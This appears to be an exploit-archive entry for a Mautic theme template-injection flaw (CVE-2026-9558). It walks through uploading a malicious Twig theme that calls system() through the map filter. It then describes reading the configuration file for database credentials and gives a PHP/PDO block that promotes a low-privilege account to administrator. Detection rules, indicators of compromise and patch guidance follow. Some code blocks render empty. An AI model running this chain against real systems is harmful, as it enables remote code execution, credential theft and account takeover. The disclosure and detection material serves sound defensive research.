Mautic Theme Template Server-Side Template Injection to RCE (CVE-2026-9558)
Published: 2026-11-27 • Researcher: covepseng (GitHub: covepseng); vulnerability reported through the Mautic security advisory GHSA-9fx4-7cmj-47vg; archived and reviewed 2026-11-27
- Severity
- Critical
- CVE
- CVE-2026-9558 / GHSA-9fx4-7cmj-47vg / CWE-1336
- Category
- web
- Affected product
- Mautic marketing automation platform, theme engine (Twig templates inside uploaded theme ZIPs)
- Affected versions
- >= 1.3.0 and < 4.4.13; >= 5.0.0 and < 5.2.11; >= 6.0.0 and < 6.0.9; >= 7.0.0 and < 7.1.2. Fixed in 4.4.13 (4.4.20 on ELTS), 5.2.11, 6.0.9 and 7.1.2. The archived lab pins 7.1.1
- Disclosed
- 2026-11-27
- Patch status
- Patched
References
- https://nvd.nist.gov/vuln/detail/CVE-2026-9558
- https://github.com/mautic/mautic/security/advisories/GHSA-9fx4-7cmj-47vg
- https://github.com/mautic/mautic/blob/789364ee4aaf8aef5e6d91642336c1f446d5521b/app/bundles/CoreBundle/Twig/Sandbox/ThemeSandboxPolicy.php
- https://github.com/mautic/mautic
- https://return-zero.dev/posts/cve-2026-9558
- https://github.com/covepseng/cve-2026-9558-poc
- https://cwe.mitre.org/data/definitions/1336.html
Archive entry
intelseclab/poc-archiveOn this page
Metadata
| Field | Value |
|---|---|
| Date Added | 2026-11-27 |
| Last Updated | 2026-07-10 (upstream commit 4e113407f8c51e76632327665f7ae4d8a24e84a2, “feat: initial commit”; the repository was last pushed 2026-07-12) |
| Author / Researcher | covepseng (GitHub: covepseng); vulnerability reported through the Mautic security advisory GHSA-9fx4-7cmj-47vg; archived and reviewed 2026-11-27 |
| CVE / Advisory | CVE-2026-9558 / GHSA-9fx4-7cmj-47vg / CWE-1336 |
| Category | web |
| Severity | Critical |
| CVSS Score | 9.9 (CVSSv3.1, per the NVD record; the advisory precondition is an authenticated theme author, PR:L) |
| Status | Weaponized (a working malicious theme package plus a documented end-to-end run; exploitation is driven manually through the Mautic UI) |
| Tags | mautic, twig, ssti, cwe-1336, php, theme-upload, email-builder, rce, privilege-escalation |
| Related | N/A |
Affected Target
| Field | Value |
|---|---|
| Software / System | Mautic marketing automation platform, theme engine (Twig templates inside uploaded theme ZIPs) |
| Versions Affected | >= 1.3.0 and < 4.4.13; >= 5.0.0 and < 5.2.11; >= 6.0.0 and < 6.0.9; >= 7.0.0 and < 7.1.2. Fixed in 4.4.13 (4.4.20 on ELTS), 5.2.11, 6.0.9 and 7.1.2. The archived lab pins 7.1.1 |
| Language / Platform | PHP 8.x on Apache (official mautic/mautic image), MySQL or MariaDB backend; the lab uses MariaDB 10.11 and Podman |
| Authentication Required | Yes, but low privilege: a user who may create or edit themes and emails. Administrator is not required |
| Network Access Required | Yes, HTTP access to the Mautic web UI (theme upload and email builder) |
Summary
Mautic renders user-uploaded theme templates with the default Twig environment and, before the patched releases, without a sandbox policy. Twig’s map, filter and reduce filters accept arbitrary PHP callables, so a theme whose template maps the system function over a command string executes that command as the web server whenever the theme is rendered. A user with permission to upload themes and create emails can therefore run commands, read the application configuration that holds the database password and the secret key, and use those database credentials to promote the account to administrator. The archived files are the malicious theme package plus the container lab used to validate the chain.
Vulnerability Details
Root Cause
Uploaded themes are ZIP archives of .twig files that Mautic installs under themes/ and renders through its normal Twig Environment. In the vulnerable releases no SecurityPolicyInterface is attached to that environment, so the whole Twig filter set is available to template authors, including map, filter and reduce. Those filters take a callable name and invoke it, and the callable name is resolved through PHP’s callable resolution, which accepts any function name. A template such as
| |
therefore calls system("id") and prints its output, which is CWE-1336 (Improper Neutralization of Special Elements Used in a Template Engine). The developer documentation already claimed that uploaded theme templates were rendered in a restricted sandbox; the enforcement did not exist. The fix introduces ThemeSandboxPolicy, a denylist-based policy that blocks map, filter and reduce as well as functions such as source() (arbitrary file read) and configGetParameter() (configuration and secret disclosure).
Attack Vector
An authenticated theme author uploads a ZIP through the Theme Manager. The archive carries a config.json manifest and an html/ tree whose email.html.twig, base.html.twig or message.html.twig contains the payload. Rendering happens on the server as soon as the theme is used as an email or landing page template and the builder or preview is opened, so no victim interaction beyond the author’s own page load is required.
Impact
Remote code execution as the web server account, demonstrated in the upstream analysis as www-data. From there the attacker reads config/local.php, which contains the database host, user, password and the application secret key. Using those credentials the payload opens a PDO connection and runs an UPDATE against the users table to set role_id = 1 for the attacker’s own low-privilege account, which grants administrator rights and bypasses Mautic’s application-level permission checks entirely. The end state is full control of the marketing platform, including its contact database, campaign configuration and outbound email capability.
Environment / Lab Setup
OS: Linux with Podman >= 4.0 and podman-compose
Target: mautic/mautic:7.1.1-apache (last pre-fix 7.x release) + mariadb:10.11
Attacker: A low-privilege Mautic user with Themes (create/edit) and Emails (create/edit)
Tools: podman, podman-compose, curl, zip, a browserSetup Steps
| |
install.sh creates the first administrator (admin@lab.local) and the compose file binds the web UI to 127.0.0.1:8080 only. The credentials in the compose file (mauticpass, rootpass) are throwaway lab defaults.
Proof of Concept
Step-by-Step Reproduction
Start the lab with
podman-compose up -dand./install.sh, then log in as the low-privilege user.Confirm the payload in the theme. The shipped template carries the command at the end of the file, after the marker comment, and the stage one, two and three payloads in a Twig comment block:
twig1 2{# The following line is a placeholder! Exploitation payload goes below #} SSTI id command result {{ ["id"] | map("system") | join }}See
theme/html/email.html.twiglines 858 to 872; the same primitive is present intheme/html/base.html.twigandtheme/html/message.html.twig.Upload the theme as the low-privilege user through Themes, Upload, selecting the ZIP built in the setup step. The manifest in
theme/config.jsonregisters the theme under the name “Sparse modified” with the email feature.Trigger the render. Go to Channels, Emails, New, pick the uploaded theme as the template and open the builder or preview. The payload is evaluated during server-side rendering of the template.
Read the command output from the rendered page, where the result of
system("id")appears in place of the Twig expression.Escalate. Replace the live payload line with the stage three payload from
theme/html/payload.txt. It pipes a base64-encoded PHP block into the PHP CLI, which decodes to:PHP1 2 3 4 5$pdo = new PDO('mysql:host=mautic-db;dbname=mautic', 'mautic', 'mauticpass'); $affected = $pdo->exec("UPDATE users SET role_id = 1 WHERE username = 'priv-esc'"); echo 'rows_updated=' . $affected . PHP_EOL; $stmt = $pdo->query("SELECT id, username, role_id FROM users WHERE username = 'priv-esc'"); foreach ($stmt as $r) { echo 'confirm: ' . $r['id'] . '|' . $r['username'] . '|' . $r['role_id'] . PHP_EOL; }The database credentials in the payload match the lab compose file; against a real target they come from the
cat config/local.phpstage.Cleanup with
podman-compose down -v.
Exploit Code
The exploit is the theme package under
theme/:config.json,composer.jsonand thehtml/templates, packaged as a ZIP and uploaded through the UI. The lab bootstrap islab/install.sh; the upstream README isupstream-README.md.
| |
Expected Output
| |
rows_updated=1 confirms the UPDATE and confirm: 2|priv-esc|1 shows the account now carries the administrator role id. On a patched release the same template renders nothing useful, because the sandbox rejects the map filter with a RuntimeError and no command runs.
Detection & Indicators of Compromise
Theme install event in Mautic logs (themes/new, themes/upload endpoints)
New directory under /var/www/html/themes/<name>/ with a config.json naming an unexpected author
Uploaded .twig files containing map(, filter(, reduce(, system, exec, passthru, shell_exec,
configGetParameter, source( or the string base64 -d | php
A low-privilege account opening the email builder immediately after uploading a theme
www-data spawning /bin/sh -c with a short command such as id or cat
www-data spawning php reading from stdin (the base64 -d | php stage)
Reads of config/local.php by the web user
PDO or MySQL connections from the web container using the application database user
Writes to the users table outside normal admin UI activity (role_id changed to 1)
Outbound mail or HTTP connections to unknown destinations from the Mautic hostSIEM / IDS Rule (example):
alert http any any -> any any (msg:"CVE-2026-9558 Mautic theme SSTI payload upload"; flow:to_server,established; file_data; content:"map("; nocase; content:"system"; nocase; pcre:"/(map|filter|reduce)\s*\(\s*[\x22\x27](system|exec|passthru|shell_exec)/i"; sid:90955800; rev:1;)Inspect uploaded theme archives at ingest time and reject templates that pass function names to map, filter or reduce; the Twig source is plain text inside the ZIP, so static inspection is cheap.
Remediation
| Action | Detail |
|---|---|
| Patch | Upgrade to 4.4.13 (4.4.20 on ELTS), 5.2.11, 6.0.9 or 7.1.2 and later; the fix registers ThemeSandboxPolicy and denies map, filter, reduce, source() and configGetParameter(). |
| Workaround | Restrict theme creation and editing to trusted administrators, audit existing themes under themes/ for the payload patterns above, and remove theme upload from untrusted roles. |
| Config Hardening | Run the web container with a least-privilege database user that cannot alter the users table, rotate the application secret key and database password after any suspected compromise, keep config/local.php readable only by the web user, and alert on new or modified theme directories. |
References
Notes
Auto-prepared on 2026-11-27 from https://github.com/covepseng/cve-2026-9558-poc (one star at review time; a Podman lab, a malicious theme and a README).
Review verdict: ingested as Weaponized. The repository is not a scanner or a write-up only: it ships the actual exploit artefact, a theme archive whose Twig templates invoke system() through the map filter, together with the manifest and the container lab needed to reproduce the flaw. The README documents a completed end-to-end run with concrete output (uid string, the leaked config/local.php fragment, rows_updated=1 and confirm: 2|priv-esc|1). There is no C2, persistence, evasion, keylogger, miner, stealer or bot module; the only encoded payload is a short PHP block that performs the application-specific UPDATE against the lab’s own users table.
Omissions and provenance: the upstream archive sparse/sparse.zip (1.7 MB) was not copied because archives are excluded. The theme can be rebuilt from the copied theme/ tree with the zip command in the setup steps. theme/html/payload.txt was extracted from that archive because it holds the stage three payload that does not exist as a loose file in the repository. The bundled theme assets (PNG, JPG, TTF and WOFF files, about 2 MB in total, plus thumbnail.png) are cosmetic and were not copied; Mautic accepts the theme without them, though the builder preview will show missing images.
Limitations: exploitation is manual through the web UI; the repository contains no automation script, so the chain depends on the operator’s ability to create a theme-appropriate ZIP and to open the email builder as the low-privilege user. The stage three payload hardcodes the lab’s database credentials and the username priv-esc, so it must be adjusted per target after the configuration-read stage. The README asserts, but does not prove, that the specific combination of Themes and Emails permissions is required. The affected ranges and fix versions are taken from the upstream README and advisory rather than re-derived here. The claimed outputs were not re-verified during this review and no exploit code was executed.
License: the repository declares no LICENSE file, so copyright stays with the author and no reuse rights are granted; the material is archived for reference under the usual research-use caveat. Only a short research-use header was added to lab/install.sh; the twig payload files are untouched so they remain renderable, and the upstream README is copied verbatim as upstream-README.md.